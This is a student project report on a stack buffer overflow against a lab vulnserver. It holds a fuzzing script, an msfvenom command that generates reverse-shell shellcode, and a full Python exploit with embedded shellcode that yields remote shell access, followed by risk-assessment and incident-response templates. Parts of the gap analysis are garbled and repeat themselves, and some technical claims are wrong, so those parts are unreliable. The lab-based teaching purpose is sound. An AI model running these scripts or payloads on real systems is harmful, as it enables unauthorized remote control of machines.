Project Report

for

Buffer Overflow Attack

Information Security Analysis & Audit

CSE3501

Prepared by

Anvesh Kumar Agrawal (18BCE2365)

Sugam Jaiswal (18BCE2452)

1|Page
Abstract
A buffer overflow (or buffer overrun) occurs when the volume of data exceeds the
storage capacity of the memory buffer. If the transaction overwrites executable
code, it can cause the program to behave unpredictably and generate incorrect
results, memory access errors, or crashes.
A buffer contains data that is stored for a short amount of time typically in the
computer’s RAM. Attackers exploit buffer overflow issues by overwriting the
memory of an application. This changes the execution path of the program,
triggering a response that damages files or exposes private information.
The techniques to exploit a buffer overflow vulnerability vary by architecture,
by operating system and by memory region. For example, exploitation on
the heap (used for dynamically allocated memory), differs markedly from
exploitation on the call stack.
This project will incorporate scripts written in Python, Bash Programming
Language and Victim which will be used to test on a software to inform if a buffer
overflow attack is underway.

2|Page
Introduction
A buffer Overflow attack in simple terms means sending mass volumes
of data to a single register in a server, therefore "overflowing" it until it
crashes. This will enable the attacker to gain information about the
server and in turn give the attacker access. The same will be
demonstrated via this project.
We aim to present the conditions and circumstances of the buffer
overflow attack via a prescribed methodology which has been
formulated after extensive research about the same attack. For
simplicity sakes we will be using our own system as the attacker along
with a virtual system as a victim.
In the Buffer overflow attack, the attacker basically overpowers the
RAM of the server in a way that the RAM loses control of the system
therefore giving access to the attacker.

3|Page
Existing Methodology

1. To Detect Stack Buffer Overflow with Polymorphic Canaries

(IEEE 2018)
- Zhilong Wang, Xuhua Ding, Jian Guo
In this paper, they present an elegant solution named as Polymorphic SSP (P-SSP) that attains the same
security without sacrificing SSP's strengths. They also propose three extensions of the basic scheme for
better compatibility, stronger security, and local variable protection, respectively. They have implemented
both a compiler plugin and a binary instrumentation tool for deploying P-SSP. Their respective runtime
overheads are only 0.24% and 1.01%.

2. Stack Memory Buffer Overflow Protection based on Duplication

and Randomization (Science Direct 2013)
- Sahel Alouneh, Marzen Kharbutli, Rana AlQurem
In this paper, a software based solution for stack-based vulnerabilities and attacks is proposed and
implemented. The proposed solution involves creating a new patch tool that fixes a wide-range of stack
related vulnerabilities in the existing applications. The basic idea of our approach is to implement a patch
tool that makes multiple copies of the return addresses in the stack, and then randomizes the location of
all copies in addition to their number. All duplicate copies are updated and checked in parallel such that
any mismatch between any of these copies would indicate a possible attack attempt and would trigger an
exception.

3. Study on the principle and defense of buffer overflow attacks

(SPIE 2013)
- Wang Lin
Buffer overflow attacks have been the most common form in the network attacks and become a predominant
problem in the system and network security area. With specific programs, this paper describes in detail the
type of buffer overflow attacks and technical principles, so we have a good understanding of them, and then
gives several common preventive measures.

4. A Taxonomy of Buffer Overflow Characteristics(IEEE 2012)

- Matt Bishop, Sophie Engle, Sean Whalen
This work develops a taxonomy of buffer overflow vulnerabilities based upon characteristics, or
preconditions that must hold for an exploitable buffer overflow to exist. They analyze several software
4|Page
 and hardware countermeasures to validate the approach. We then discuss alternate approaches to
ameliorating this vulnerability.

5|Page
 5. Realization of Buffer Overflow (IEEE 2010)
- An Zhiyuan, Liu Haiyan
This paper first explains the concept of buffer overflow, buffer overflow principle; and then the jump
instruction is given using the examples of realization of buffer overflow attacks; and finally, combined
with the type of buffer overflow attacks, buffer overflow attacks, raised preventive strategies.

6. Buffer Overflow Attack – Vulnerability in Stack (IJCA 2011)

- P.Vadivel Murugan, Dr.K.Alagarsamy
A buffer overflow is an inconsistent, where a process attempts to store data beyond the boundaries of a
fixed length buffer. So that the additional data overwrites next memory the techniques to exploit buffer
overflow vulnerability vary per architecture, operating system and memory region locations. The
overwritten data may include other buffers, variables and program flow data a technically inclined and
malicious user may exploit stack-based buffer overflows to manipulate the program

7. SafeStack: Automatically Patching Stack-Based Buffer Overflow

Vulnerabilities (IEEE 2010)
- Gang Chen, Hai Jin, Deqing Zou
This paper presents SafeStack, a system that can automatically diagnose and patch stack-based buffer
overflow vulnerabilities. The key technique of our solution is to virtualize memory accesses and move the
vulnerable buffer into protected memory regions, which provides a fundamental and effective protection
against recurrence of the same attack without stopping normal system execution. We developed a
prototype on a Linux system.
8. Buffer Overflow Attack (IOSRJCE 2011)
- Samanvay Gupta
This paper include vast idea and information regarding the buffer overflow as history of Vulnerabilities,
buffers, stack, registers, Buffer Overflow Vulnerabilities and Attacks, current buffer over flow, Shell
code, Buffer Overflow Issues, the Source of the Problem, prevention/detection of Buffer Overflow attacks
and Finally how to react towards Buffer Overflows. The objective of this study is to take one inside the
buffer overflow attack and bridge the gap between the “descriptive account” and the “technically
intensive account”.

9. Buffer Overflow and SQL Injection: To Remotely Attack and

Access Information(Springer 2018)
- Mehak Khurana, Ruby Yadav, Meena Kumari
In today’s electronic world where data is accessed through internet, intranet, and extranet, the security
6|Page
 of the information is an important issue. Buffer overflow attack in software and SQL injection attack in
web application are the two main attacks which are explained in this paper with the aim to make user
understand that how unintentional flaws get injected, how these flaws lead to vulnerabilities, and how

7|Page
 these vulnerabilities are exploited by the attackers. In this paper, the real-time attack example is also
shown with its screenshots step by step.

10. The principle and prevention of windows buffer overflow

(IEEE 2016)
- Liu Feifei
This paper analyzes the basic principle of buffer overflow, and describes the basic methods of using the
buffer overflow to attack the computer system. Through two sections of programs, this paper shows the
process of the buffer overflow and its attacking actions in details. At last, several effective
countermeasures to avoid the buffer overflow attacks are discussed.

8|Page
Gap Analysis
There are certain drawbacks associated with all the proposed methodologies of
executing buffer overflow attack on any vulnerable server. There are risks
involved with carrying out both heap-based buffer overflow attack and stack-
based buffer overflow attack. These drawbacks are analyzed under GAP analysis.
As discussed in paper [1], detection of buffer overflow attack is comparatively
easier when it comes to polymorphic canaries. The overhead associated with the
method in paper [1] is extremely high. Paper [2] has a disadvantage that stack
buffer overflow becomes simpler to implement only when protection is based on
duplication and randomization of the working of EIP registers. Paper [3] comes
forward with various mechanism to defend the buffer overflow attacks and they
conclude that the possibilities of defending a strongly built buffer overflow attack
are very less. Paper [4] studied the classification and categorization of various
classes of buffer overflow and they came to a conclusion that alternative firewalls
have to be implemented to completely get rid of buffer overflow. Paper [5] is
about the principle of buffer overflow and the difficulties associated with the
various stages of principle and its implementation. Paper [6] has a demerit that the
overwritten data may include other buffers, variables and program flow data a
technically inclined and malicious user may exploit stack-based buffer overflows
to manipulate the program. Paper [7] has a demerit that the overwritten data may
include other buffers, variables and program flow data a technically inclined and
malicious user may exploit stack-based buffer overflows to manipulate the
program. Paper [8] has a negative proposed system where the key technique of
our solution is to virtualize memory accesses and move the vulnerable buffer into
protected memory regions. Paper [9] has a negative proposed system where the
key technique of our solution is to virtualize memory accesses and move the
vulnerable buffer into protected memory regions. Paper[10] shows limited counter
measures in which the buffer overflow actions can be carried out, detected and
avoided.

9|Page
 Proposed Methodology:
Buffer overflow attack on any vulnerable server can be implemented in two ways
i.e. Heap based attack and stack-based attack. For our project, we chose to go with
stack-based attack over heap-based attack.
Overfilling a buffer on the stack is more likely to derail program execution than
overfilling a buffer on the heap because the stack contains the return addresses for
all active function calls.

Architecture Diagram

The pointer of consideration which is suitable for buffer overflow attack is EIP
(Extended Instruction Pointer) register. The function of this register is to hold the
address of next instruction to be executed. These registers have a certain offset
value whose breaching and access can make the overall system vulnerable to the
third-party. In a nutshell, our proposed way of buffer overflow attack works by
first finding that offset value to break the program by continuously sending bad
characters as connection requests to the server (vuln server in our case) and then
10 | P a g e
 using the same value to write a shell code which can be run under a different
python script to gain the final access.

11 | P a g e
 The success of buffer overflow attack is depended on the successful running of
various sub-methods for convenience. For that purpose, the overall attack is
divided into various modules as discussed below:

Module 1: Spiking & Fuzzing

Under this module, we write a python script which can be used to send connection
requests to vuln server continuously (Spiking) unless the vuln server breaks at
certain address point. Fuzzing is an extended module similar to spiking but here
we send a bunch of characters and break the program.
Fuzzing python script:
import sys,socket
from time import sleep
buffer = "A"*100
while True:
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.71',9999))
s.send(('TRUN /.:/' + buffer))
s.close()
sleep(1)
buffer = buffer + "A"*100
except:
print "Fuzzing crashed at %s bytes" %str(len(buffer))
sys.exit()

Fuzzing involves providing semi-random data to an application and recording

12 | P a g e
 how it behaves. The term can be thought of as starting with something clear such
as a valid application file, and “fuzzing” pieces of it. It's a specialized form of

13 | P a g e
 application testing that can involve significant automation. It also goes by other
names such as fault injection, or error condition evaluation.

Fuzzing underway:

14 | P a g e
 Module 2: Finding offset
This module finds the point where the program broke. In order to execute this, we
have to monitor the connection requestions being sent to vuln server request by
request. We keep track on the updated status of vuln server and we terminate the
sending of bad characters as soon as we observer the vuln server crashing.

Offset value:

Module 3: Finding the Right Module

There are many modules in a particular server and we need to find out the
one which is exploitable. This module works in finding the right exploitable
module by looking for Dynamic-link library (DLL) with no memory protection.

Module 4: Generating Shell Code

In order to generate the shell code, we used metasploitable module
msfvenom to generate a reverse shell code. This shell code basically works to
shift the registers access from the vuln server to the third-party after the offset
value has been known.
15 | P a g e
 Shell code generator (Bash code):

16 | P a g e
 msfvenom -p windows/shell_reverse_tcp LHOST=$1 LPORT=$2
EXITFUNC=thread -f c -a x86 -b "\x00"
Reverse shell code:

Module 5: Gaining Access

We use the reverse shell code generated by module 4 in a separate python
script which can be executed to provide us with the access of the vuln server and
consequently the system under which the server is functioning.
Access python script:
import sys,socket
shell = ("\xdb\xda\xd9\x74\x24\xf4\x5a\xbe\x4a\xa4\x2c\xd9\x31\xc9\xb1"
"\x52\x83\xc2\x04\x31\x72\x13\x03\x38\xb7\xce\x2c\x40\x5f\x8c"
"\xcf\xb8\xa0\xf1\x46\x5d\x91\x31\x3c\x16\x82\x81\x36\x7a\x2f"
"\x69\x1a\x6e\xa4\x1f\xb3\x81\x0d\x95\xe5\xac\x8e\x86\xd6\xaf"
17 | P a g e
 "\x0c\xd5\x0a\x0f\x2c\x16\x5f\x4e\x69\x4b\x92\x02\x22\x07\x01"

18 | P a g e
 "\xb2\x47\x5d\x9a\x39\x1b\x73\x9a\xde\xec\x72\x8b\x71\x66\x2d"
"\x0b\x70\xab\x45\x02\x6a\xa8\x60\xdc\x01\x1a\x1e\xdf\xc3\x52"
"\xdf\x4c\x2a\x5b\x12\x8c\x6b\x5c\xcd\xfb\x85\x9e\x70\xfc\x52"
"\xdc\xae\x89\x40\x46\x24\x29\xac\x76\xe9\xac\x27\x74\x46\xba"
"\x6f\x99\x59\x6f\x04\xa5\xd2\x8e\xca\x2f\xa0\xb4\xce\x74\x72"
"\xd4\x57\xd1\xd5\xe9\x87\xba\x8a\x4f\xcc\x57\xde\xfd\x8f\x3f"
"\x13\xcc\x2f\xc0\x3b\x47\x5c\xf2\xe4\xf3\xca\xbe\x6d\xda\x0d"
"\xc0\x47\x9a\x81\x3f\x68\xdb\x88\xfb\x3c\x8b\xa2\x2a\x3d\x40"
"\x32\xd2\xe8\xc7\x62\x7c\x43\xa8\xd2\x3c\x33\x40\x38\xb3\x6c"
"\x70\x43\x19\x05\x1b\xbe\xca\xea\x74\xc1\x4a\x83\x86\xc1\x6d"
"\x5c\x0e\x27\x1b\x72\x46\xf0\xb4\xeb\xc3\x8a\x25\xf3\xd9\xf7"
"\x66\x7f\xee\x08\x28\x88\x9b\x1a\xdd\x78\xd6\x40\x48\x86\xcc"
"\xec\x16\x15\x8b\xec\x51\x06\x04\xbb\x36\xf8\x5d\x29\xab\xa3"
"\xf7\x4f\x36\x35\x3f\xcb\xed\x86\xbe\xd2\x60\xb2\xe4\xc4\xbc"
"\x3b\xa1\xb0\x10\x6a\x7f\x6e\xd7\xc4\x31\xd8\x81\xbb\x9b\x8c"
"\x54\xf0\x1b\xca\x58\xdd\xed\x32\xe8\x88\xab\x4d\xc5\x5c\x3c"
"\x36\x3b\xfd\xc3\xed\xff\x1d\x26\x27\x0a\xb6\xff\xa2\xb7\xdb"
"\xff\x19\xfb\xe5\x83\xab\x84\x11\x9b\xde\x81\x5e\x1b\x33\xf8"
"\xcf\xce\x33\xaf\xf0\xda")
offset = "A"*2003 + "\xaf\x11\x50\x62" + "\x90"*30 + shell
try:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.71',9999))
s.send(('TRUN /.:/' + offset))
s.close()
19 | P a g e
 except:

20 | P a g e
 print "[+] ERROR"
sys.exit()

After the successful execution of the final script, we start listening for the
connection from the vuln server on a different terminal at any random port
number (i.e. 9999) .

Listening on random port:

As soon as the access is shifted towards us, the terminal can be used to manipulate
the server and hence manipulate the system in which the server lies. In this way,
buffer overflow attack is made possible.

Final access:
21 | P a g e
 Conclusion
In this project we have successfully demonstrated the process of buffer overflow
attack. We had predicted that using this attack we will be able to gain complete
access to the victim's system. We were successfully able to do the same. We used
tools including Python and Bash Programming to execute a buffer overflow attack
using a virtual computer. Using the aforementioned modules we completed our
objective. This attack can be used for zero day attacks or to simply exploit a
victim. The scope of this project is limited to performing and understanding the
buffer overflow attack; in its extension we can work upon ways to stop the same
from happening now that we know how the inner mechanics work.

22 | P a g e
 AUDIT REPORT

Risk Assessment Report

Executive Summary

The risk assessment is aimed at discovering and proposing relevant methods

for all the risks associated with implementation of buffer overflow attack. It
resulted into identification of high-level risks or theft of passwords/credentials
or other important information that should be known to the user for better
safety from the hackers or any third party trying to steal the information from
user’s system.
There are several ways through which an attack can be done of important
information from a user’s system using buffer and the overflowing property
of buffer. In the considered risk assessment, a fully functioning buffer
overflowing system is built which can demonstrate the process of third-party
access of user’s server without his/her knowing. The vulnerability of the
server under buffer overflow is the major point for considering the risk
assessment when it comes to our project.

23 | P a g e
 DETAILED ASSESSMENT

1. Introduction

Attackers exploit buffer overflow issues by overwriting the memory of an

application. This changes the execution path of the program, triggering a
response that damages files or exposes private information.

1.1 Purpose

The main purpose of the risk assessment is to find out the general vulnerabilities any
system maintainer make while designing the software, building the buffer to run the
server as well as time-to-time configuration of the buffer so that it can be used to
come up with risk mitigation plans and solutions to overcome the risks of unknown
threat to the user’s system.

1.2. Scope of this risk assessment

The normal user’s server is vulnerable to buffer overflow even though it has active
firewall and antivirus scanning activities the system still has some common
vulnerabilities, it can be useful while detecting small level threat attack used against
system but if a complex buffer overflow occurs most of the time it could fail to resolve /
identify it, resulting in harm to the user and hacking of the vulnerable server together with
the overall underlying system.

24 | P a g e
 2. Risk Assessment Approach
2.1 Participants

Role Participant
System Owner Sugam Jaiswal, Anvesh Kumar Agrawal
System Custodian Sugam Jaiswal, Anvesh Kumar Agrawal
Security Administrator Sugam Jaiswal, Anvesh Kumar Agrawal
Database Administrator Sugam Jaiswal, Anvesh Kumar Agrawal
Network Manager Sugam Jaiswal, Anvesh Kumar Agrawal
Risk Assessment Team Sugam Jaiswal, Anvesh Kumar Agrawal

25 | P a g e
 2.2 Techniques Used

Technique Description

Review of documentation The documentation of the vuln server and stack-

based buffer overflow was studied which provided
more insight about the attack and vulnerabilities.

Passive testing The system is scanned for the buffer overflow

attack and the offset value is found at which the
server broke.

Assessment Tools The assessment team used several security testings

tools to review system configurations and identify
vulnerabilities in different components of the server
functions.

Literature Review Research papers in the field of buffer overflow

attacks were taken as a reference to build the
system.

26 | P a g e
 2.3 Risk Model
The following model was used to classify the risks associated with the System
attack.

System:
Risk = Threat Likelihood x Magnitude of Impact

Threats: A threat is any circumstance or event with the potential to adversely impact
organizational operations and assets, individuals, other organizations, or the Nation
through an information system via unauthorized access, destruction, disclosure, or
modification of information, and/or denial of service.

Vulnerabilities: A vulnerability is a weakness in an information system, system security

procedures, internal controls, or implementation that could be exploited by a threat
source.

Likelihood: The likelihood of occurrence is a weighted risk factor based on an analysis

of the probability that a given threat is capable of exploiting a given vulnerability (or set
of vulnerabilities).

Impact: The level of impact from a threat event is the magnitude of harm that can be
expected to result from the consequences of unauthorized disclosure of information,
unauthorized modification of information, unauthorized destruction of information, or
loss of information or information system availability.

Threat likelihood definitions:

27 | P a g e
 3.1 Technology components

Component Description
Applications This project incorporates scripts written in Python, Bash
Programming Language and Victim which will be used to test
on a software to inform if a buffer overflow attack is underway.

Databases Linux file system

Operating Systems Parrot Operating System
Networks
Listening on random port using Metasploit
Interconnections Two different servers trying to send and build requests
Protocols SSH protocol is used to overflow the buffer, target the EIP
register and hack into the underlying system

28 | P a g e
 3.2 Physical Location(s)

Location Description
User’s system Parrot Virtual Operating System (Bash commands and sockets
using python scripts)

3.3 Data Used by System

Data Description
Personal information includes:
• Server information
• System information
• EIP register status
• Buffer configuration
• Passwords
Browser information IP address, Port number

3.4 Users

Users Description
User whose system got Buffer overflow can be implemented through EIP
attacked by buffer manipulation, continuous characters sending processes, etc.
overflow
Hacker/Attacker who The attacker can have the information of zero day attack or
executed the attack anything that the underlying system possesses as information,
data and files.

29 | P a g e
 3.5 Flow Diagram

30 | P a g e
 4. Vulnerability Statement

Vulnerability Description
System Intrusion Some infected server requests can cause the system
exploitation and execution of buffer overflow.
Password Strength Passwords used by user for different sites and all should be
strong, otherwise a normal buffer overflow too can easily get it
and store it and send it to attacker
Poor security Poor firewall protection, poor antivirus can cause the buffer
overflow attack to run in background without getting caught
and steal the information
Disaster recovery There are no procedures to ensure the ongoing buffer overflow
process or app running with the help of a poor antivirus, a user
should manually find and close the running application in
background, from task manager

5. Threat Statement

Threat-Source Threat Actions

Attacker/hacker can steal the important
Steal of passwords
information, passwords etc. using buffer
storage manipulation.
Serious information could be stolen without the
Information theft
knowing of the user, in an illegal manner
Computer criminal Identity theft, Spoofing and System intrusion
Environment Natural disaster

31 | P a g e
 5. Risk Assessment Results

Item Observation Threat-Source/ Existing Likelihood Impact Risk Rating Recommended controls
Number Vulnerability controls based on
Frequent,
probable,
Occasional
1. A simple vulnerable Attacker (installation Make sure medium low low Don’t share system
server can be done manually) and to lock the credentials with anyone or
installed on the output can be taken system or only with very trusted
system under attack from victim’s system keep it safe peoples
only(manually)

2. Buffer overflow can be Attacker (installation Make sure medium Low medium Don’t share system
installed manually but done manually) and to lock the credentials with anyone or
which sends out bad getting output from system or only with very trusted
characters mail keep it safe, peoples, strong antivirus
continuously Good
antivirus

32 | P a g e
 3. Password strength Hacker No High High High
constrains
on
password

4. Memory usage Attacker Awareness High High medium

against
buffer
overflow,
manually
termination
of the
application

33 | P a g e
 Backup Procedures:
If a metasploit module msfvenom fails to listen to the
connection between the host device and the victim that is the
vuln server on a particular port, shell code already generated
can be used again on a differenent port to try to listen to the
connection. The same process can be repeated multiple times
as so needed.

34 | P a g e
 Password Policy Section:
Admin password will be required in this system and hence it
should be strong. The access needs to stay with only the
admin therefore the password should be of an
alphanumerical nature of at least 12 characters and should
be updated frequently for safety measures.

Change Control Section:

In case of a change in control section, the down time will be of
around 45 minutes where in the entire process will take
anywhere between 15- 30 minutes. The Latest version of OS in
laptop is Windows 10 Operating System.
Safe Zone Software – Not Applicable

INCIDENT REPORT

Purpose:
To Study the effect and cause of unauthorized server access due to buffer overflow
attack on another device under the same network.

Incident Response Manager:

Name: Sugam Jaiswal Email: [email protected]
Work Phone: 7042165083 Mobile No: 7042165083

35 | P a g e
 Technical Contacts:
Name: Sugam Jaiswal Email:[email protected]
Work Phone: 7042165083 Mobile No: 7042165083

Legal Counsel:
Name: Sugam Jaiswal Email: [email protected]
Work Phone: 7042165083 Mobile No: 7042165083

Communications Specialist:
Name: Sugam Jaiswal Email: [email protected]
Work Phone: 7042165083 Mobile No: 7042165083

Confidentiality guidelines:

Any incident identified, reported and all information regarding an

incident during the analysis will be treated as confidential initially, till
analysis proves otherwise. The incidents can be reported anonymously
also if circumstances require. Additionally, the PIP must be kept strictly
confidential for security purposes. Any communication required to
clients or to the public must be drafted separately and include only
information required to prevent future incidents.

Communications guidelines:

The email id [email protected] is used for reporting the incidents

and for tracking and monitoring.
36 | P a g e
 PHASE 1
Identify:

All staff have a responsibility to remain vigilant and protect the data stored within the
systems we support. Any event that threatens the confidentiality, integrity or availability of
the information resources we support or utilize internally should immediately be reported to
a supervisor.

Incident Types:

Types of cyber incidents that may threaten the organization are:

• Unauthorized attempts to gain access to a computer, system or data within

• Service disruption, including Denial of Service (DoS) attack
• Unauthorized access to critical infrastructure such as servers, router, firewalls, etc.
• Virus or worm infections, spyware or other type of malware
• Non-compliance with security or privacy protocols
• Data theft, corruption or unauthorized distribution

The incident type considered here is unauthorized access to critical infrastructure viz.
server. Fuzzing is performed on the vulnerable server to identify the incident.

Incident Symptoms:

Signs a computer may have compromised include:

• Abnormal response time or non-responsiveness

• Unexplained lockouts, content or activity
• Locally hosted websites won’topen or display inappropriate content or unauthorized
37 | P a g e
 changes
• Unexpected programs running
• Lack of disk space or memory

38 | P a g e
 • Increased frequency or system crashes
• Settings changes
• Data appears missing or changed
• Unusual behavior by XXXXXXXXXX staff, students, partners or other actors

PHASE 2:
ASSESS:

Once anomalous activity has been reported, it is incumbent upon the IRM to determine the
level of intervention required. Other members of the IRT may be required to provide input
during this phase to help determine if an actual security threat exists. If it is determined
there is an active security threat or evidence of an earlier intrusion, the IRM will alert the
entire IRT immediately so that the situation may be dealt with as expeditiously as possible.
Considerations:

• What are the symptoms?

• What may be the cause?
• What systems have been / are being / will be impacted?
• How widespread is it?
• Which stakeholders are affected?

Under the incident consideration, the vital component that was identified was the offset address where
the server broke down and stopped operating. The cause was the EIP register getting out of range.

39 | P a g e
 PHASE 3:
RESPOND:

Upon determining that a significant incident or breach has occurred, District Administration
should be notified immediately. As additional information is uncovered throughout the
investigation, Administration should be briefed by the IRM so appropriate decisions, such as
allocating additional staff, hiring outside consultants and involving law enforcement can be
made. Additionally, based on the incident, it will be incumbent on Administration to
determine the appropriate stakeholders to notify of the incident and the appropriate medium
to do so.
Install patches and updates on systems, routers, and firewalls

• Infections cleaned and removed

• Re-image or re-install operating systems of infected machines
• Change appropriate passwords
• Conduct a vulnerability scan of any compromised machines before reconnecting
them to the network
• Restore system backups where possible
• Document all recovery procedures performed and submit them to the IRM
• Closely monitor the systems once reconnected to the network

40 | P a g e
 PHASE 4
REPORT:

Once the threat has been mitigated and normal operation is restored, the IRM will compile
all available information to produce an accurate and in-depth summary of the incident in an
Incident Summary Report (ISR).

The reporting phase should be compensated with the actual documentation of incident
occurred. In our scenario, the buffer overflow incident is only verified once the party trying to
overwrite the EIP registers actual gets control of the server. The above section of incident
showed that the buffer overflow has occurred and indicates that the reporting phase should be
started.

PHASE 5:
MONITOR:

Post-Incident Review Meeting

After the conclusion of the incident, the IRM and possibly select members from the IRT will
meet with management to discuss the event in detail, review response procedures and
construct a Process Improvement Plan (PIP) to prevent a reoccurrence of that or similar
incidents. The compiled Incident Report constructed by the IRM will serve as a guide for this
meeting.
Process Improvement Plan

The IRM will draft a Process Improvement Plan (PIP) based on the results of this meeting.
The plan should discuss any applicable items necessary to, prevent future incidents to the
extent practicable, including cost and time frame requirements where possible. The PIP will
also include a review strategy to ensure all recommendations made in the PIP are met in a
timely fashion and functioning appropriately. Areas of focus may include, but are not limited
to:

• New hardware or software required

• Patch or upgrade plans
• Training plans (Technical, end users, etc.)
• Policy or procedural change recommendations

41 | P a g e
 • Recommendations for changes to the Incident Response Plan
• Regional communications recommendations
Additionally, the PIP must be kept strictly confidential for security purposes. Any

42 | P a g e
 communication required to clients or to the public must be drafted separately and include
only information required to prevent future incidents.

Incident Summary:

Type of Incident:

Buffer overflow attack on the vulnerable server

Date Incident:
Nov 01, 2020
Originated Date:
Nov 01, 2020
Incident Was Detected By:

Local system access by listening on random port

How Was Incident Detected:

By using metasploitable module msfvenom to obtain the offset address and track the update
of EIP registers using Immunity Debugger

Scope of Incident (Districts / Systems Affected):

The system affected is the local system on which the attack was performed.

Date Incident Corrected:

Nov 01, 2020

43 | P a g e
 Corrective Action Types (Training, Technical, etc.):

As lessons learned, the corrective action types include; ensuring critical infrastructures like
firewall, servers, routers are always enabled to prevent unauthorized access and possible
attacks. It is important to have Antivirus, Patches on the systems updated with the latest
version, continuous training to users on awareness of social engineering attack to prevent
any attacks and data loss on the user’s side.

Areas in Need of Improvement Summary:

Some areas of improvement are increased continuous awareness of security training for the
user, awareness about different kinds of socially engineered attacks to retrieve user data,
updating the antivirus version on the system to improve protection against viruses and
worms, strong passwords rules are implemented and passwords are changed frequently and
lastly to ensure that security features such as firewalls, antivirus, patch management are
always enabled and updated.

44 | P a g e
 Security Posture:
Security Posture identified as part of the Windows Incident Response are the
following:

• Build a User Awareness Program

• Apply a Risk Assessment plan
• Assess and Patch Vulnerabilities
• Do root cause analysis
• Craft an Incident Response plan
• Craft a Change Management plan

Report:
The findings from the Security Audits, concludes that our proposed mechanism
comes specifically under the Network Security Audit as described below: -

Network Security Audit: - Security controls like updated

Antivirus, Windows OS with updated security features, System
password enforcement, Screen lock policy, user awareness
trainings would help in reducing and preventing malware attacks,
risks due to password compromise, phishing attacks and scams.
With the trainings and controls, threats from insider attack and
DDOS is also reduced. Firewalls ports not in use is always
maintained in closed state.

Cyber Security Audit: - Kaspersky Antivirus is in active

state with upto date version would help in preventing the
attacks.

Web Application Security: Browser is in updated state,

that will help to protect from attacks like malwares, virus, and by
using the browser in incognito mode whenever used for
confidential, sensitive purpose.

Compliance Audit: -Compliance to password policy,

using a combination of alpha numeric and special characters,
screen lock policy, not disabling the security controls like
antivirus, OS patches, helps in preventing the threats and

45 | P a g e
 attacks.
The findings for this component also include: -
1. Yes - The environment is under protection of Disaster Management
2. Yes - The Peoples involved are educated
3. Yes - All the components involved are following International Standards:
4. Yes - Regular Internal Audit was covered:

VERDICT: It's safe to run application in our device where the victim vuln server is
a sample server for testing different attacks. But it should be taken with risk if the
same has to be performed on an external server.

References
1. http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.206.4521&rep=rep
1&type=pdf
2. https://ieeexplore.ieee.org/abstract/document/6529076
3. https://d1wqtxts1xzle7.cloudfront.net/28069217/b0111023.pdf?1347945535
=&response-content-
disposition=inline%3B+filename%3DB0111023.pdf&Expires=1603090207&Si
gnature=JXqgSUQiJyKmO
zxmYrwn8NzEbfGuPicSqBiEwL0OHBVnLOaOHbsANi1eQgVFbhhzrQhf
zRFvKZWgPhebEjMq0DKbki 7-ubO27jo57oIlM5ZZWcs-
YtCVFV9E5dETTx5IZ2Cj8XvNpS9t1OjRVPu2UgLo2bHuJEaqCbP4IOuO
jISbSe5KxELi2Edp3mncTOv 7YErwRwhpLkyaY4NinZrP7Cubwv88-P-
ZPxUuPgoXXmTViEVxQL88lKEoTDQ7~L1ezCsDNG5Xw4- GGVHlSy-
5noDjaiPCwt4~ujIRiI5BYwpE0wCRWTjPif8GIbxUcLODEb5aHQ6iZj-
v5iYxWOtm4Q &Key-Pair-Id=APKAJLOHF5GGSLRBV4ZA
4. https://link.springer.com/chapter/10.1007/978-981-10-8536-9_30
5. https://www.spiedigitallibrary.org/conference-proceedings-of-
spie/8768/87680K/Study-on-the-principle- and-defense-of-buffer-overflow-
attacks/10.1117/12.2010633.short?SSO=1
6. https://ieeexplore.ieee.org/abstract/document/6133295
7. https://ieeexplore.ieee.org/abstract/document/5635047
8. https://ieeexplore.ieee.org/abstract/document/6295299
9. https://ieeexplore.ieee.org/abstract/document/8416487/authors#authors
10. https://www.sciencedirect.com/science/article/pii/S1877050913008260

46 | P a g e